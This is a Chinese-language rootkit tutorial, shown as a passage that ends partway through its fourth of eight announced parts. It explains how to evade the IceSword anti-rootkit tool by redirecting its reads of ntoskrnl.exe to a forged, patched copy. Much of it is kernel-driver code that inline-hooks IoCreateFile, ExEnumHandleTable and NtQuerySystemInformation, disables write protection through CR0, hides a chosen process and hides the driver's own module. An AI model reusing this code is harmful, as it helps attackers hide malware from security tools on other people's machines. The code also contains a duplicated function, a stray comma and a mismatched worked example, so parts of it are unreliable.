利用伪造内核文件来绕过IceSword的检测
文章分为八个部分:
一、为什么需要伪造内核
二、伪造内核文件
三、隐藏进程
四、隐藏内核模块
五、隐藏服务
六、隐藏注册表
七、隐藏文件
八、关于端口
另:建议先看看最后那些参考文章。
一、为什么需要伪造内核:
IceSword(以下简称IS)为了防止一些关键系统函数(包括所有服务中断表中的函数以及IS驱动部分要使用到的一些关键函数)被 patch,它直接读取内核文件(以下简称“ntoskrnl
.
exe”),然后自己分析ntoskrnl
.
exe的PE结构来获取关键系统函数的原始代码并且把当前内核中所有的关键系统函数还原为windows默认状态,这样保证了IS使用到的函数不被patch过。也许你会想如果我们把还原后的函数再进行patch不还是能躲的过去吗?笔者也试过,还专门写了ring0的Timer来不停的patch自己想hook的函数。结果IS棋高一筹,在对所有的关键系统函数进行还原以后,IS每次调用这些函数前都会先把这些函数还原一次。这样还是能保证IS自己使用到的关键系统函数不被patch。也许你还会想缩小Timer的时间间隔,以致于IS对这些函数进行还原后,这些函数马上又被我们patch,这样IS再调用这些函数时不还是执行了我们patch过的函数。这种想法粗略看起来可以,但你仔细一想就知道是不行的。
治病还是得治本,也许你想过不如直接修改ntoskrnl
.
exe文件内容,使得IS一开始读入的就已经是我们patch过得函数内容,这样不就躲过去了。这种想法有两个很大的副作用:
1
、在通常的默认情况下,windows的系统文件保护是打开的,要停止这种系统文件保护要付出很大的代价,有可能需要重启。
2
、就算你停止了系统文件保护,也成功修改了ntoskrnl
.
exe,但是你不能保证系统每次都能正常关机
假如系统非法关机重启,由于你还来未对ntoskrnl
.
exe进行还原,此时会发生什么情况我也就不多说了。
而伪造内核文件就很好的避免了上面谈的两大副作用。主要处理下面三个点:
1
、截获并修改IS打开ntoskrnl
.
exe消息,使它指向我要伪造的内核文件(假设为“otoskrnl
.
exe”)
2
、在内核文件中定位我们要修改的数据。
3
、隐藏我们伪造的“otoskrnl
.
exe”
,
这点请看本文的第七部分。
二、 伪造内核文件:
先说一下本文hook函数的方式:
1
、取该函数起始地址的前六个字节内容保留在
unsigned char
resume
[
6
]
中。
2
、把构造的两条指令push xxxxxxxx(我们自己构造的函数地址) ret 保留到
unsigned char
crackcode
[
6
]
(这两条指令刚好六个字节)中。
3
、把该函数起始址的
6
个字节替换成crackcode
[
6
]
的内容。这样系统调用该函数时就会先跳到xxxxxxxx地址去执行我们构造的函数。
而我们构造的xxxxxxxx函数的主要结构如下:
1
、把我们hook的那个函数起始的前
6
个字节用resume
[
6
]
内容进行还原。
2
、对传递的程序参数进行处理等。
3
、调用被还原后的函数。
4
、此时可以处理函数返回后的数据等。
5
、把还原后的那个函数的起始地址前
6
个字节再用crackcode
[
6
]
内容进行替换。
6
、返回。
IS是通过IoCreateFile函数来打开ntoskrnl
.
exe,因此我们只要hook这个函数,并检查其打开的文件名,如果是打开 ntoskrnl
.
exe的话,我们把文件名替换成otoskrnl
.
exe再扔回去就OK了。这样所有针对于ntoskrnl
.
exe文件的操作都会指向otoskrnl
.
exe
,
当然前提是你在进入驱动前记得先把ntoskrnl
.
exe在原目录下复制一份并命名为otoskrnl
.
exe。
关于我们要修改的数据在ntoskrnl
.
exe中偏移的算法也很简单,这里给出公式如下:
函数在中文件偏移=当前函数在内存中的地址 - 当前函数所在驱动模块的起始地址
举个例子来说,假设IoCreateFile在内核中的内存地址是
0x8056d1234
,由于它是在内存中ntoskrnl
.
exe模块中,假设ntoskrnl
.
exe起始地址是
0x8045d000
。那么IoCreateFile在磁盘上的ntoskrnl
.
exe文件中的偏移就是
0x8056d123
-
0x8045d000
=
0x110123
了。
再进行详细点说明:假设你对IoCreateFile函数进行了patch,使得该函数起始地址的
6
前六节的数据XXXXXX变成了 YYYYYY。那么你只要打开otoskrnl
.
exe,把文件偏移调整到上面所说的
0x110123
处,在写入
6
个字节的数据YYYYYY。那么当IS 打开otoskrnl
.
exe的话,读出的数据就是YYYYYY了!
下面的代码实现两个功能,一个功能就是hook了IoCreateFile函数,使的所有指向ntoskrnl
.
exe的操作都指向 otoskrnl
.
exe。另外一个功能就是进行伪造内核(函数RepairNtosFile
(
DWORD FunctionOffset
,
DWORD RepairDataPtr
)
),其中FunctionOffset参数内容就是我们要hook的函数在内存中的地址。RepairDataPtr是指向字符crackcode
[
6
]
第一个字节的指针。主要功能就是先把要hook的函数地址在otoskrnl
.
exe文件中进行定位,然后再把 crackcode
[
6
]
内容写进去。
代码
1.
#include
"ntddk.h"
2.
#include
"stdarg.h"
3.
#include
"stdio.h"
4.
#include
"ntiologc.h"
5.
#include
"string.h"
6.
7.
#define DWORD
unsigned long
8.
#define WORD
unsigned short
9.
#define BOOL
unsigned long
10.
11.
PCWSTR NTOSKRNL
=
L
"ntoskrnl.exe"
12.
13.
unsigned char
ResumCodeIoCreateFile
[
6
];
14.
unsigned char
CrackCodeIoCreateFile
[
6
];
15.
16.
typedef
NTSTATUS
( *
IOCREATEFILE
)(
17.
18.
OUT PHANDLE FileHandle
,
19.
IN ACCESS_MASK DesiredAccess
,
20.
IN POBJECT_ATTRIBUTES ObjectAttributes
,
21.
OUT PIO_STATUS_BLOCK IoStatusBlock
,
22.
IN PLARGE_INTEGER AllocationSize OPTIONAL
,
23.
IN ULONG FileAttributes
,
24.
IN ULONG ShareAccess
,
25.
IN ULONG Disposition
,
26.
IN ULONG CreateOptions
,
27.
IN PVOID EaBuffer OPTIONAL
,
28.
IN ULONG EaLength
,
29.
IN CREATE_FILE_TYPE CreateFileType
,
30.
IN PVOID ExtraCreateParameters OPTIONAL
,
31.
IN ULONG Options
);
32.
33.
IOCREATEFILE OldIoCreateFile
;
34.
35.
DWORD GetFunctionAddr
(
IN PCWSTR FunctionName
)
36.
{
37.
UNICODE_STRING UniCodeFunctionName
;
38.
39.
RtlInitUnicodeString
( &
UniCodeFunctionName
,
FunctionName
);
40.
return
(
DWORD
)
MmGetSystemRoutineAddress
( &
UniCodeFunctionName
);
41.
42.
}
43.
44.
NTSTATUS RepairNtosFile
(
DWORD FunctionOffset
,
DWORD RepairDataPtr
)
45.
{
46.
NTSTATUS Status
;
47.
HANDLE FileHandle
;
48.
OBJECT_ATTRIBUTES FObject
;
49.
IO_STATUS_BLOCK IOSB
;
50.
UNICODE_STRING FileName
;
51.
LARGE_INTEGER NtosFileOffset
;
52.
53.
RtlInitUnicodeString
(
54.
&
FileName
,
55.
L
"\\SystemRoot\\system32\\otoskrnl.exe"
);
56.
57.
InitializeObjectAttributes
(
58.
&
FObject
,
59.
&
FileName
,
60.
OBJ_KERNEL_HANDLE
,
61.
NULL
,
62.
NULL
);
63.
Status
=
ZwCreateFile
(
64.
&
FileHandle
,
65.
FILE_WRITE_DATA
+
FILE_WRITE_ATTRIBUTES
+
FILE_WRITE_EA
,
66.
&
FObject
,
67.
&
IOSB
,
68.
NULL
,
69.
FILE_ATTRIBUTE_NORMAL
,
70. 0
,
71.
FILE_OPEN
,
72.
FILE_NON_DIRECTORY_FILE
,
73.
NULL
,
74. 0
75.
);
76.
if
(
Status
!=
STATUS_SUCCESS
)
77.
{
78.
return
Status
;
79.
}
80.
81.
//下面计算出函数在otoskrnl.exe中的偏移,NtoskrnlBase就是
82.
//Ntoskrnl.exe在内存中的起始地址,在第四部分隐藏内核模块
83.
//时会提到它的获取方法。
84.
85.
NtosFileOffset
.
QuadPart
=
FunctionOffset
-
NtoskrnlBase
;
86.
87.
Status
=
ZwWriteFile
(
88.
FileHandle
,
89.
NULL
,
90.
NULL
,
91.
NULL
,
92.
&
IOSB
,
93.
(
unsigned char
*)
RepairDataPtr
,
94. 0x6
,
95.
&
NtosFileOffset
,
96.
NULL
);
97.
if
(
Status
!=
STATUS_SUCCESS
)
98.
{
99.
return
Status
;
100.
}
101.
Status
=
ZwClose
(
FileHandle
);
102.
if
(
Status
!=
STATUS_SUCCESS
)
103.
{
104.
return
Status
;
105.
}
106.
return
STATUS_SUCCESS
;
107.
108.
}
109.
110.
NTSTATUS NewIoCreateFile
(
111.
112.
OUT PHANDLE FileHandle
,
113.
IN ACCESS_MASK DesiredAccess
,
114.
IN POBJECT_ATTRIBUTES ObjectAttributes
,
115.
OUT PIO_STATUS_BLOCK IoStatusBlock
,
116.
IN PLARGE_INTEGER AllocationSize OPTIONAL
,
117.
IN ULONG FileAttributes
,
118.
IN ULONG ShareAccess
,
119.
IN ULONG Disposition
,
120.
IN ULONG CreateOptions
,
121.
IN PVOID EaBuffer OPTIONAL
,
122.
IN ULONG EaLength
,
123.
IN CREATE_FILE_TYPE CreateFileType
,
124.
IN PVOID ExtraCreateParameters OPTIONAL
,
125.
IN ULONG Options
)
126.
127.
{
128.
NTSTATUS Status
;
129.
PCWSTR IsNtoskrnl
=
NULL
;
130.
PCWSTR FileNameaddr
=
NULL
;
131.
132.
_asm
//对IoCreateFile函数进行还原
133.
{
134.
pushad
135.
mov edi
,
OldIoCreateFile
136.
mov eax
,
dword ptr ResumCodeIoCreateFile
[
0
]
137.
mov
[
edi
],
eax
138.
mov ax
,
word ptr ResumCodeIoCreateFile
[
4
]
139.
mov
[
edi
+
4
],
ax
140.
popad
141.
}
142.
143.
144.
_asm
//获取要打开的文件名地址
145.
{
146.
pushad
147.
mov edi
,
ObjectAttributes
148.
mov eax
, [
edi
+
8
]
149.
mov edi
, [
eax
+
4
]
150.
mov FileNameaddr
,
edi
151.
popad
152.
}
153.
154.
IsNtoskrnl
=
wcsstr
(
FileNameaddr
,
NTOSKRNL
);
//判断是否时打开ntoskrnl.exe
155.
156.
if
(
IsNtoskrnl
!=
NULL
)
157.
{
158.
_asm
//是的话,则把ntoskrnl.exe替换成otoskrnl.exe
159.
{
160.
pushad
161.
mov edi
,
IsNtoskrnl
162.
mov
[
edi
],
0x006F
163.
popad
164.
}
165.
}
166.
167.
Status
=
OldIoCreateFile
(
168.
169.
FileHandle
,
170.
DesiredAccess
,
171.
ObjectAttributes
,
172.
IoStatusBlock
,
173.
AllocationSize OPTIONAL
,
174.
FileAttributes
,
175.
ShareAccess
,
176.
Disposition
,
177.
CreateOptions
,
178.
EaBuffer OPTIONAL
,
179.
EaLength
,
180.
CreateFileType
,
181.
ExtraCreateParameters OPTIONAL
,
182.
Options
);
183.
184.
_asm
//把还原后的代码又替换成我们伪造的代码
185.
{
186.
pushad
187.
mov edi
,
OldIoCreateFile
188.
mov eax
,
dword ptr CrackCodeIoCreateFile
[
0
]
189.
mov
[
edi
],
eax
190.
mov ax
,
word ptr CrackCodeIoCreateFile
[
4
]
191.
mov
[
edi
+
4
],
ax
192.
popad
193.
}
194.
return
Status
;
195.
196.
}
197.
198.
199.
NTSTATUS PatchIoCreateFile
()
200.
{
201.
NTSTATUS Status
;
202.
203.
OldIoCreateFile
= (
IOCREATEFILE
)
GetFunctionAddr
(
L
"IoCreateFile"
);
204.
205.
if
(
OldIoCreateFile
==
NULL
)
206.
{
207.
DbgPrint
(
"Get IoCreateFile Addr Error!!"
);
208.
return
STATUS_DEVICE_CONFIGURATION_ERROR
;
209.
}
210.
211.
_asm
//关中断
212.
{
213.
CLI
214.
MOV EAX
,
CR0
215.
AND EAX
,
NOT
10000H
216.
MOV CR0
,
EAX
217.
}
218.
_asm
219.
{
220.
pushad
221.
//获取 IoCreateFile 函数的地址并保留该函数的起始六个字节
222.
mov edi
,
OldIoCreateFile
223.
mov eax
, [
edi
]
224.
mov dword ptr ResumCodeIoCreateFile
[
0
],
eax
225.
mov ax
, [
edi
+
4
]
226.
mov word ptr ResumCodeIoCreateFile
[
4
],
ax
227.
228.
//构造要替换的代码,使得系统调用函数时跳到我们构造的NewIoCreateFile去执行
229.
mov byte ptr CrackCodeIoCreateFile
[
0
],
0x68
230.
lea edi
,
NewIoCreateFile
231.
mov dword ptr CrackCodeIoCreateFile
[
1
],
edi
232.
mov byte ptr CrackCodeIoCreateFile
[
5
],
0xC3
233.
234.
//把构造好的代码进心替换
235.
mov edi
,
OldIoCreateFile
236.
mov eax
,
dword ptr CrackCodeIoCreateFile
[
0
]
237.
mov dword ptr
[
edi
],
eax
238.
mov ax
,
word ptr CrackCodeIoCreateFile
[
4
]
239.
mov word ptr
[
edi
+
4
],
ax
240.
popad
241.
}
242.
243.
_asm
//开中断
244.
{
245.
MOV EAX
,
CR0
246.
OR EAX
,
10000H
247.
MOV CR0
,
EAX
248.
STI
249.
}
250.
251.
Status
=
RepairNtosFile
(
252.
(
DWORD
)
OldIoCreateFile
,
253.
(
DWORD
)(&
CrackCodeIoCreateFile
));
254.
255.
return
Status
;
256.
257.
}
上面给出的代码中,有些是公共使用的部分,如:GetFunctionAddr
()
(用来获取函数地址)以及RepairNtosFile
()
(功能上文已经介绍)函数。为节省版面,在下面的代码中将直接对其进行引用,而不再贴出它们的代码。下面的代码将不会再include头文件。而是直接定义自己所使用到的变量。其中include的投文件与上面的代码相同,另外本文中所有的例子都没有给出Unloaded例程(浪费版面),自己看着写了另外,本文贴出的所有代码,除了第六部分代码只在XP下测试通过,其他代码均再
2K
及XP下测试并通过。笔者在写这些代码时虽然兼顾到了
2K3
,但是笔者并没有在
2K3
中测试过这些代码。这些代码中夹杂了一些汇编指令。这些汇编指令产生主要有两种原因:一是当时的我认为某些东西用汇编指令来表示非常直观,如还原与替换函数代码那个部分。二是在分析一些数据时,由于眼前面对的是纯
16
进制的数据,于是也没多想咔咔就用汇编写了一个循环下来。如果给你阅读代码造成了不便,笔者在这表示歉意。
三、 隐藏进程
对付IS枚举进程ID的思路是这样的,hook系统函数ExEnumHandleTable,使它先运行我们指定的函数 NewExEnumHandleTable,在NewExEnumHandleTable函数中,我们先获取它的回调函数参数Callback所指向的函数地址,把它所指向的函数地址先放到OldCallback中,然后用我们构造的新的回调函数FilterCallback去替换掉原来的 Callback。这样该函数在执行回调函数时就会先调用我们给它的FilterCallback回调函数。在我们设计的FilterCallback 中,判断当前进程ID是否时我们要隐藏的进程ID,不是的话则把参数传给OldCallback去执行,如果是的话则直接
return
。这样就起到隐藏进程的作用。
以上是对付IS的,对于应付windows进程管理的方法,与sinister使用的方法大体相同,不过有些不同。sinister是通过比较进程名来确定自己要隐藏的进程。这种方法对于隐藏要启动两个和两个以上相同名字的进程比较可取,但问题是如果你只是要隐藏一个进程的话。那么这个方法就显得不完美了。完全可以通过直接比较进程ID来确定自己要隐藏的进程。建议不到不得以的时候尽量不要使用比较文件名的方法,太影响效率。
下面的代码中,GetProcessID
()
函数是用来从注册表中读取要隐藏的进程ID,当然首先你要在注册表设置这个值。用注册表还是很方便的。
PatchExEnumHandleTable
()
函数是通过hook系统函数ExEnumHandleTable函数实现在IS中隐藏目标进程,PatchNtQuerySystemInformation
()
函数是通过hook系统函数NtQuerySystemInformation并通过比较进程ID的方法实现隐藏进程。
代码
1.
HANDLE ProtectID
;
2.
unsigned char
ResumCodeExEnumHandleTable
[
6
];
3.
unsigned char
CrackCodeExEnumHandleTable
[
6
];
4.
unsigned char
ResumCodeNtQuerySystemInformation
[
6
];
5.
unsigned char
CrackCodeNtQuerySystemInformation
[
6
];
6.
7.
typedef
NTSTATUS
(*
NTQUERYSYSTEMINFORMATION
)(
8.
9.
IN ULONG SystemInformationClass
,
10.
OUT PVOID SystemInformation
,
11.
IN ULONG SystemInformationLength
,
12.
OUT PULONG ReturnLength OPTIONAL
);
13.
14.
NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation
;
15.
16.
typedef
VOID
(*
EXENUMHANDLETABLE
)
17.
(
18.
PULONG HandleTable
,
19.
PVOID Callback
,
20.
PVOID Param
,
21.
PHANDLE Handle OPTIONAL
22.
);
23.
24.
EXENUMHANDLETABLE OldExEnumHandleTable
;
25.
26.
typedef
BOOL
(*
EXENUMHANDLETABLECALLBACK
)
27.
(
28.
DWORD HANDLE_TALBE_ENTRY
,
29.
DWORD PID
,
30.
PVOID Param
31.
);
32.
33.
EXENUMHANDLETABLECALLBACK OldCallback
;
34.
35.
NTSTATUS GetProcessID
(
36.
IN PUNICODE_STRING theRegistryPath
37.
)
38.
{
39.
OBJECT_ATTRIBUTES ObjectAttributes
;
40.
NTSTATUS Status
;
41.
42.
HANDLE KeyHandle
;
43.
PHANDLE Phandle
;
44.
PKEY_VALUE_PARTIAL_INFORMATION valueInfoP
;
45.
ULONG valueInfoLength
,
returnLength
;
46.
47.
UNICODE_STRING UnicodeProcIDreg
;
48.
49.
50.
InitializeObjectAttributes
(
51.
&
ObjectAttributes
,
52.
theRegistryPath
,
53.
OBJ_CASE_INSENSITIVE
,
54.
NULL
,
55.
NULL
);
56.
57.
Status
=
ZwOpenKey
(
58.
&
KeyHandle
,
59.
KEY_ALL_ACCESS
,
60.
&
ObjectAttributes
);
61.
62.
if
(
Status
!=
STATUS_SUCCESS
)
63.
{
64.
DbgPrint
(
"ZwOpenKey Wrong\n"
);
65.
return
STATUS_DEVICE_CONFIGURATION_ERROR
;
66.
}
67.
68.
RtlInitUnicodeString
(
69.
&
UnicodeProcIDreg
,
70.
L
"ProcessID"
);
71.
72.
valueInfoLength
=
sizeof
(
KEY_VALUE_PARTIAL_INFORMATION
);
73.
74.
valueInfoP
= (
PKEY_VALUE_PARTIAL_INFORMATION
)
ExAllocatePool
(
75.
NonPagedPool
,
76.
valueInfoLength
);
77.
Status
=
ZwQueryValueKey
(
78.
KeyHandle
,
79.
&
UnicodeProcIDreg
,
80.
KeyValuePartialInformation
,
81.
valueInfoP
,
82.
valueInfoLength
,
83.
&
returnLength
);
84.
85.
if
(
Status
!=
STATUS_SUCCESS
)
86.
{
87.
DbgPrint
(
"ZwOpenKey Wrong\n"
);
88.
return
STATUS_DEVICE_CONFIGURATION_ERROR
;
89.
}
90.
91.
Phandle
= (
PHANDLE
)(
valueInfoP
->
Data
);
92.
93.
ProtectID
= *
Phandle
;
94.
95.
ZwClose
(
KeyHandle
);
96.
97.
return
STATUS_SUCCESS
;
98.
99.
}
100.
101.
BOOL FilterCallback
(
102.
DWORD HANDLE_TALBE_ENTRY
,
103.
DWORD PID
,
104.
PVOID Param
)
105.
{
106.
107.
if
(
PID
!= (
DWORD
)
ProtectID
)
//判断是否是我们要隐藏的进程
108.
{
109.
return
OldCallback
(
110.
HANDLE_TALBE_ENTRY
,
111.
PID
,
112.
Param
);
113.
}
114.
else
115.
{
116.
return
FALSE
;
//是的话直接返回
117.
}
118.
}
119.
120.
BOOL FilterCallback
(
121.
DWORD HANDLE_TALBE_ENTRY
,
122.
DWORD PID
,
123.
PVOID Param
)
124.
{
125.
126.
if
(
PID
!= (
DWORD
)
ProtectID
)
//判断是否是我们要隐藏的进程
127.
{
128.
return
OldCallback
(
129.
HANDLE_TALBE_ENTRY
,
130.
PID
,
131.
Param
);
132.
}
133.
else
134.
{
135.
return
FALSE
;
//是的话直接返回
136.
}
137.
}
138.
139.
140.
141.
VOID NewExEnumHandleTable
(
142.
PULONG HandleTable
,
143.
PVOID Callback
,
144.
PVOID Param
,
145.
PHANDLE Handle OPTIONAL
)
146.
{
147.
148.
OldCallback
=
Callback
;
//把Callback参数给OldCallback进行保留
149.
150.
Callback
=
FilterCallback
;
//用FilterCallback替换调原来的Callback
151.
152.
_asm
//还原
153.
{
154.
pushad
155.
mov edi
,
OldExEnumHandleTable
156.
mov eax
,
dword ptr ResumCodeExEnumHandleTable
[
0
]
157.
mov
[
edi
],
eax
158.
mov ax
,
word ptr ResumCodeExEnumHandleTable
[
4
]
159.
mov
[
edi
+
4
],
ax
160.
popad
161.
}
162.
163.
OldExEnumHandleTable
(
164.
HandleTable
,
165.
Callback
,
166.
Param
,
167.
Handle OPTIONAL
);
168.
_asm
//替换
169.
{
170.
pushad
171.
mov edi
,
OldExEnumHandleTable
172.
mov eax
,
dword ptr CrackCodeExEnumHandleTable
[
0
]
173.
mov
[
edi
],
eax
174.
mov ax
,
word ptr CrackCodeExEnumHandleTable
[
4
]
175.
mov
[
edi
+
4
],
ax
176.
popad
177.
}
178.
return
;
179.
}
180.
181.
NTSTATUS PatchExEnumHandleTable
()
182.
{
183.
NTSTATUS Status
;
184.
185.
OldExEnumHandleTable
= (
EXENUMHANDLETABLE
)
GetFunctionAddr
(
L
"ExEnumHandleTable"
);
186.
187.
if
(
OldExEnumHandleTable
==
NULL
)
188.
{
189.
DbgPrint
(
"Get ExEnumHandleTable Addr Error!!"
);
190.
return
STATUS_DEVICE_CONFIGURATION_ERROR
;
191.
}
192.
193.
_asm
//关中断
194.
{
195.
CLI
196.
MOV EAX
,
CR0
197.
AND EAX
,
NOT
10000H
198.
MOV CR0
,
EAX
199.
}
200.
_asm
201.
{
202.
pushad
203.
//获取ExEnumHandleTable函数的地址并保留该函数的起始六个字节
204.
mov edi
,
OldExEnumHandleTable
205.
mov eax
, [
edi
]
206.
mov dword ptr ResumCodeExEnumHandleTable
[
0
],
eax
207.
mov ax
, [
edi
+
4
]
208.
mov word ptr ResumCodeExEnumHandleTable
[
4
],
ax
209.
210.
//构造要替换的代码,使得系统调用该函数时跳到我们构造的NewExEnumHandleTable去执行
211.
mov byte ptr CrackCodeExEnumHandleTable
[
0
],
0x68
212.
lea edi
,
NewExEnumHandleTable
213.
mov dword ptr CrackCodeExEnumHandleTable
[
1
],
edi
214.
mov byte ptr CrackCodeExEnumHandleTable
[
5
],
0xC3
215.
216.
//把构造好的代码进心替换
217.
mov edi
,
OldExEnumHandleTable
218.
,
mov eax
,
dword ptr CrackCodeExEnumHandleTable
[
0
]
219.
mov dword ptr
[
edi
],
eax
220.
mov ax
,
word ptr CrackCodeExEnumHandleTable
[
4
]
221.
mov word ptr
[
edi
+
4
],
ax
222.
popad
223.
}
224.
225.
_asm
//开中断
226.
{
227.
MOV EAX
,
CR0
228.
OR EAX
,
10000H
229.
MOV CR0
,
EAX
230.
STI
231.
}
232.
233.
Status
=
RepairNtosFile
(
234.
(
DWORD
)
OldExEnumHandleTable
,
235.
(
DWORD
)(&
CrackCodeExEnumHandleTable
) );
236.
237.
return
Status
;
238.
}
239.
240.
NTSTATUS NewNtQuerySystemInformation
(
241.
242.
IN ULONG SystemInformationClass
,
243.
OUT PVOID SystemInformation
,
244.
IN ULONG SystemInformationLength
,
245.
OUT PULONG ReturnLength OPTIONAL
)
246.
{
247.
NTSTATUS Status
;
248.
DWORD Bprocess
;
249.
250.
_asm
251.
{
252.
pushad
253.
mov edi
,
OldNtQuerySystemInformation
254.
mov eax
,
dword ptr ResumCodeNtQuerySystemInformation
[
0
]
255.
mov
[
edi
],
eax
256.
mov ax
,
word ptr ResumCodeNtQuerySystemInformation
[
4
]
257.
mov
[
edi
+
4
],
ax
258.
popad
259.
}
260.
261.
Status
=
OldNtQuerySystemInformation
(
262.
SystemInformationClass
,
263.
SystemInformation
,
264.
SystemInformationLength
,
265.
ReturnLength OPTIONAL
);
266.
_asm
267.
{
268.
pushad
269.
mov edi
,
OldNtQuerySystemInformation
270.
mov eax
,
dword ptr CrackCodeNtQuerySystemInformation
[
0
]
271.
mov
[
edi
],
eax
272.
mov ax
,
word ptr CrackCodeNtQuerySystemInformation
[
4
]
273.
mov
[
edi
+
4
],
ax
274.
popad
275.
}
276.
277.
if
(
Status
!=
STATUS_SUCCESS
||
SystemInformationClass
!=
5
)
278.
{
279.
return
Status
;
280.
}
281.
282.
_asm
283.
{
284.
pushad
285.
286.
mov ecx
,
ProtectID
287.
mov edi
,
SystemInformation
288.
289.
ProcessListNEnd
:
290.
mov Bprocess
,
edi
291.
mov eax
, [
edi
]
292.
test eax
,
eax
293.
jz ProcessListEnd
294.
add edi
,
eax
295.
296.
mov eax
, [
edi
+
0x44
]
297.
cmp eax
,
ecx
298.
jz FindOut
299.
jmp ProcessListNEnd
300.
FindOut
:
301.
mov ebx
, [
edi
]
302.
test ebx
,
ebx
303.
jz listend
304.
mov eax
,
Bprocess
305.
mov edx
, [
eax
]
306.
add ebx
,
edx
307.
mov
[
eax
],
ebx
308.
jmp hideOK
309.
310.
listend
:
311.
mov eax
,
Bprocess
312.
mov
[
eax
],
0
313.
hideOK
:
314.
315.
ProcessListEnd
:
316.
317.
popad
318.
}
319.
return
Status
;
320.
}
321.
322.
323.
324.
325.
NTSTATUS PatchNtQuerySystemInformation
()
326.
{
327.
NTSTATUS Status
;
328.
329.
OldNtQuerySystemInformation
= (
NTQUERYSYSTEMINFORMATION
)
GetFunctionAddr
(
L
"NtQuerySystemInformation"
);
330.
331.
if
(
OldNtQuerySystemInformation
==
NULL
)
332.
{
333.
DbgPrint
(
"Get NtQuerySystemInformation Addr Error!!"
);
334.
return
STATUS_DEVICE_CONFIGURATION_ERROR
;
335.
}
336.
337.
_asm
//关中断
338.
{
339.
CLI
340.
MOV EAX
,
CR0
341.
AND EAX
,
NOT
10000H
342.
MOV CR0
,
EAX
343.
}
344.
_asm
345.
{
346.
pushad
347.
//获取 NtQuerySystemInformation 函数的地址并保留该函数的起始六个字节
348.
mov edi
,
OldNtQuerySystemInformation
349.
mov eax
, [
edi
]
350.
mov dword ptr ResumCodeNtQuerySystemInformation
[
0
],
eax
351.
mov ax
, [
edi
+
4
]
352.
mov word ptr ResumCodeNtQuerySystemInformation
[
4
],
ax
353.
354.
//构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtQuerySystemInformation去执行
355.
mov byte ptr CrackCodeNtQuerySystemInformation
[
0
],
0x68
356.
lea edi
,
NewNtQuerySystemInformation
357.
mov dword ptr CrackCodeNtQuerySystemInformation
[
1
],
edi
358.
mov byte ptr CrackCodeNtQuerySystemInformation
[
5
],
0xC3
359.
360.
//把构造好的代码进心替换
361.
mov edi
,
OldNtQuerySystemInformation
362.
mov eax
,
dword ptr CrackCodeNtQuerySystemInformation
[
0
]
363.
mov dword ptr
[
edi
],
eax
364.
mov ax
,
word ptr CrackCodeNtQuerySystemInformation
[
4
]
365.
mov word ptr
[
edi
+
4
],
ax
366.
popad
367.
}
368.
_asm
//开中断
369.
{
370.
MOV EAX
,
CR0
371.
OR EAX
,
10000H
372.
MOV CR0
,
EAX
373.
STI
374.
}
375.
Status
=
RepairNtosFile
(
376.
(
DWORD
)
OldNtQuerySystemInformation
,
377.
(
DWORD
)(&
CrackCodeNtQuerySystemInformation
) );
378.
379.
return
Status
;
380.
381.
}
四、隐藏内核模块
对于内核模块,我原以为IS会通过获取内核变量PsLoadedModuleList,然后在通过这个来遍历所有的内核模块。假设此时获得结果
1
。通过调用函数NtQuerySystemInformation,参数SystemModuleInformation,假设此时获得结果
2
。再把结果
1
与结果
2
进行比较,这样就会发现被隐藏的模块。但事实证明我想的太复杂了。而IS只进行了获取结果
2
的过程。而没有去执行获取结果
1
的过程。
下面的代码可以在IS下隐藏自己的内核模块,主要思路是,首先获取一个自己这个模块中任意函数的地址,把该地址给DriverAddr,利用 DriverAddr在上述的结果
2
中定位,通过DriverAddr肯定会大于自己这个模块的起始地址并且小于自己这个模块的结束地址来定位。
代码
1.
DWORD DriverAddr
;
2.
unsigned char
ResumCodeNtQuerySystemInformation
[
6
];
3.
unsigned char
CrackCodeNtQuerySystemInformation
[
6
];
4.
typedef
NTSTATUS
(*
NTQUERYSYSTEMINFORMATION
)(
5.
6.
IN ULONG SystemInformationClass
,
7.
OUT PVOID SystemInformation
,
8.
IN ULONG SystemInformationLength
,
9.
OUT PULONG ReturnLength OPTIONAL
);
10.
11.
NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation
;
12.
13.
NTSTATUS NewNtQuerySystemInformation
(
14.
15.
IN ULONG SystemInformationClass
,
16.
OUT PVOID SystemInformation
,
17.
IN ULONG SystemInformationLength
,
18.
OUT PULONG ReturnLength OPTIONAL
)
19.
{
20.
NTSTATUS Status
;
21.
22.
_asm
//还原
23.
{
24.
pushad
25.
mov edi
,
OldNtQuerySystemInformation
26.
mov eax
,
dword ptr ResumCodeNtQuerySystemInformation
[
0
]
27.
mov
[
edi
],
eax
28.
mov ax
,
word ptr ResumCodeNtQuerySystemInformation
[
4
]
29.
mov
[
edi
+
4
],
ax
30.
popad
31.
}
32.
33.
Status
=
ZwQuerySystemInformation
(
34.
SystemInformationClass
,
35.
SystemInformation
,
36.
SystemInformationLength
,
37.
ReturnLength OPTIONAL
);
38.
_asm
//替换
39.
{
40.
pushad
41.
mov edi
,
OldNtQuerySystemInformation
42.
mov eax
,
dword ptr CrackCodeNtQuerySystemInformation
[
0
]
43.
mov
[
edi
],
eax
44.
mov ax
,
word ptr CrackCodeNtQuerySystemInformation
[
4
]
45.
mov
[
edi
+
4
],
ax
46.
popad
47.
}
48.
49.
if
(
Status
!=
STATUS_SUCCESS
||
SystemInformationClass
!=
0xb
)
//是否是获取模块信息
50.
{
51.
return
Status
;
52.
}
53.
54.
_asm
55.
{
56.
pushad
57.
58.
mov edi
,
SystemInformation
59.
mov ecx
, [
edi
]
//eax=模块数目
60.
add edi
,
0x4
61.
62.
NextModuleInfo
:
63.
64.
mov eax
, [
edi
+
0x8
]
65.
mov edx
, [
edi
+
0xC
]
66.
67.
add edx
,
eax
68.
mov ebx
,
DriverAddr
69.
70.
cmp ebx
,
eax
71.
ja FirstMatch
72.
dec ecx
73.
test ecx
,
ecx
74.
jz ArrayEnd
75.
76.
add edi
,
0x11c
77.
jmp NextModuleInfo
78.
79.
FirstMatch
:
80.
cmp ebx
,
edx
81.
jb SecMatch
//找到的话则跳去把该模块以后的模块数据前移已覆盖掉此模块
82.
83.
dec ecx
84.
test ecx
,
ecx
85.
jz ArrayEnd
86.
add edi
,
0x11c
87.
jmp NextModuleInfo
88.
SecMatch
:
89.
dec ecx
90.
xor
eax
,
eax
91.
mov ax
,
0x11c
92.
mul cx
93.
xor
ecx
,
ecx
94.
mov ecx
,
eax
95.
mov esi
,
edi
96.
add esi
,
0x11c
97.
rep movsb
98.
mov edi
,
SystemInformation
99.
mov eax
, [
edi
]
100.
dec eax
101.
mov
[
edi
],
eax
//完成
102.
ArrayEnd
:
103.
